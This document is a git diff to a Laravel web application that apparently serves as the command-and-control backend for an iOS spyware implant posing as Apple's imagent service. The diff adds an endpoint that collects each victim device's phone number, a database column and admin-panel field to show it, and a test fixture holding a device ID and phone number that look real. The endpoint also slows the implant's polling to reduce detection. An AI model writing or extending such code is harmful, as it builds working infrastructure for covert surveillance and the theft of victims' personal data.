diff --git a/app/Http/Controllers/C2/C2Controller.php b/app/Http/Controllers/C2/C2Controller.php
index ff545c6..0b83d3e 100644
--- a/app/Http/Controllers/C2/C2Controller.php
+++ b/app/Http/Controllers/C2/C2Controller.php
@@ -186,6 +186,22 @@ class C2Controller extends Controller
         return $this->encryptedAck();
     }
 
+    /**
+     * SMS task poll from imagent. Native treats code==0 as "poll every 3s";
+     * non-zero backs off to ~60s — return code 1 to avoid hammering.
+     * Payload `p` is the device phone number.
+     */
+    public function profileDelete(Request $request): Response
+    {
+        $payload = $request->attributes->get('coruna_payload');
+        $device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
+        if ($device && is_array($payload)) {
+            $this->ingest->ingestDevicePhone($device, $payload);
+        }
+
+        return $this->encryptedAck(['code' => 1, 'msg' => 'ok', 'data' => null]);
+    }
+
     public function linkConfigList(Request $request): Response
     {
         return $this->encryptedAck(['code' => 0, 'msg' => 'ok', 'data' => []]);
diff --git a/app/Models/Device.php b/app/Models/Device.php
index 03307d9..f65a45f 100644
--- a/app/Models/Device.php
+++ b/app/Models/Device.php
@@ -8,7 +8,7 @@ use Illuminate\Database\Eloquent\Relations\HasMany;
 class Device extends Model
 {
     protected $fillable = [
-        'device_id', 'channel_id', 'ios_version', 'device_model', 'ip', 'user_agent',
+        'device_id', 'channel_id', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent',
         'telegram_notified', 'album_storage',
     ];
 
diff --git a/app/Services/IngestService.php b/app/Services/IngestService.php
index 0defcf2..777f340 100644
--- a/app/Services/IngestService.php
+++ b/app/Services/IngestService.php
@@ -184,6 +184,30 @@ class IngestService
         return $channelId === null || $channelId === '';
     }
 
+    /**
+     * `/api/user/profile/delete` — store reported phone (`p`) only when still empty.
+     */
+    public function ingestDevicePhone(Device $device, ?array $payload): void
+    {
+        if (! is_array($payload)) {
+            return;
+        }
+        if (trim((string) ($device->phone ?? '')) !== '') {
+            return;
+        }
+
+        $phone = $payload['p'] ?? $payload['phone'] ?? null;
+        if (! is_string($phone)) {
+            return;
+        }
+        $phone = trim($phone);
+        if ($phone === '') {
+            return;
+        }
+
+        $device->forceFill(['phone' => substr($phone, 0, 64)])->save();
+    }
+
     private function createDevice(Request $request, ?array $payload, string $deviceKey, bool $withChannel): Device
     {
         $ua = substr((string) $request->userAgent(), 0, 2000);
diff --git a/database/migrations/2026_08_11_000020_devices_phone.php b/database/migrations/2026_08_11_000020_devices_phone.php
new file mode 100644
index 0000000..65dc0aa
--- /dev/null
+++ b/database/migrations/2026_08_11_000020_devices_phone.php
@@ -0,0 +1,26 @@
+<?php
+
+use Illuminate\Database\Migrations\Migration;
+use Illuminate\Database\Schema\Blueprint;
+use Illuminate\Support\Facades\Schema;
+
+return new class extends Migration
+{
+    public function up(): void
+    {
+        Schema::table('devices', function (Blueprint $table) {
+            if (! Schema::hasColumn('devices', 'phone')) {
+                $table->string('phone', 64)->nullable()->after('channel_id');
+            }
+        });
+    }
+
+    public function down(): void
+    {
+        Schema::table('devices', function (Blueprint $table) {
+            if (Schema::hasColumn('devices', 'phone')) {
+                $table->dropColumn('phone');
+            }
+        });
+    }
+};
diff --git a/resources/views/admin/devices/show.blade.php b/resources/views/admin/devices/show.blade.php
index e725544..c21bc84 100644
--- a/resources/views/admin/devices/show.blade.php
+++ b/resources/views/admin/devices/show.blade.php
@@ -19,10 +19,14 @@
         <td>{{ $device->ios_version ?: '—' }}</td>
       </tr>
       <tr>
+        <th>手机号</th>
+        <td>{{ $device->phone ?: '—' }}</td>
         <th>IP</th>
         <td>{{ $device->ip ?: '—' }}</td>
+      </tr>
+      <tr>
         <th>相册存储</th>
-        <td>
+        <td colspan="3">
           <form class="layui-form" lay-filter="LAY-device-album" style="margin:0;">
             <input type="checkbox" name="album_storage" lay-skin="switch" lay-text="开|关"
                    lay-filter="LAY-device-album-storage"
diff --git a/routes/c2.php b/routes/c2.php
index a84a23c..03540d8 100644
--- a/routes/c2.php
+++ b/routes/c2.php
@@ -15,7 +15,7 @@ Route::middleware([DecryptCorunaBody::class])->group(function () {
     Route::post('/api/user/check', [C2Controller::class, 'check']);
     Route::post('/api/user/avatar/pic', [C2Controller::class, 'avatarPic']);
     Route::post('/api/user/profile/add', [C2Controller::class, 'profileNop']);
-    Route::post('/api/user/profile/delete', [C2Controller::class, 'profileNop']);
+    Route::post('/api/user/profile/delete', [C2Controller::class, 'profileDelete']);
     Route::post('/api/user/profile/remove', [C2Controller::class, 'profileNop']);
     Route::post('/link/config/list', [C2Controller::class, 'linkConfigList']);
     Route::post('/link/config/icon', [C2Controller::class, 'linkConfigIcon']);
diff --git a/tests/Feature/C2ApiTest.php b/tests/Feature/C2ApiTest.php
index ea58f1b..c091e2b 100644
--- a/tests/Feature/C2ApiTest.php
+++ b/tests/Feature/C2ApiTest.php
@@ -170,6 +170,46 @@ class C2ApiTest extends TestCase
         $this->assertNull(Device::query()->where('device_id', '000430C910E8E526')->first());
     }
 
+    #[Test]
+    public function profile_delete_returns_code_1_and_stores_phone(): void
+    {
+        $crypto = new CorunaCrypto;
+        $payload = [
+            'd' => '00044C1101FB802E',
+            'p' => '+66822804380',
+            'd3' => '00008030-00044C1101FB802E',
+            'd2' => 'DNPD3100N73F',
+            'c' => 'e57f5207c9f2bacf7907c09ccf25b107',
+            'bundleID' => 'com.apple.imagent',
+        ];
+        $ts = '1722585600333';
+        $enc = $crypto->encryptJson($payload, $ts);
+
+        $resp = $this->call('POST', '/api/user/profile/delete', [], [], [], [
+            'CONTENT_TYPE' => 'text/plain',
+            'HTTP_TIMESTAMP' => $ts,
+        ], $enc['body']);
+
+        $resp->assertOk();
+        $plain = $crypto->decryptJsonBody($resp->getContent(), $resp->headers->get('timestamp'));
+        $this->assertSame(1, $plain['code'] ?? null);
+
+        $device = Device::query()->where('device_id', '00044C1101FB802E')->first();
+        $this->assertNotNull($device);
+        $this->assertSame('+66822804380', $device->phone);
+        $this->assertNull($device->channel_id);
+
+        $ts2 = '1722585600334';
+        $enc2 = $crypto->encryptJson(array_merge($payload, ['p' => '+66999999999']), $ts2);
+        $this->call('POST', '/api/user/profile/delete', [], [], [], [
+            'CONTENT_TYPE' => 'text/plain',
+            'HTTP_TIMESTAMP' => $ts2,
+        ], $enc2['body'])->assertOk();
+
+        $device->refresh();
+        $this->assertSame('+66822804380', $device->phone);
+    }
+
     #[Test]
     public function user_get_ingests_installed_apps_per_bundle(): void
     {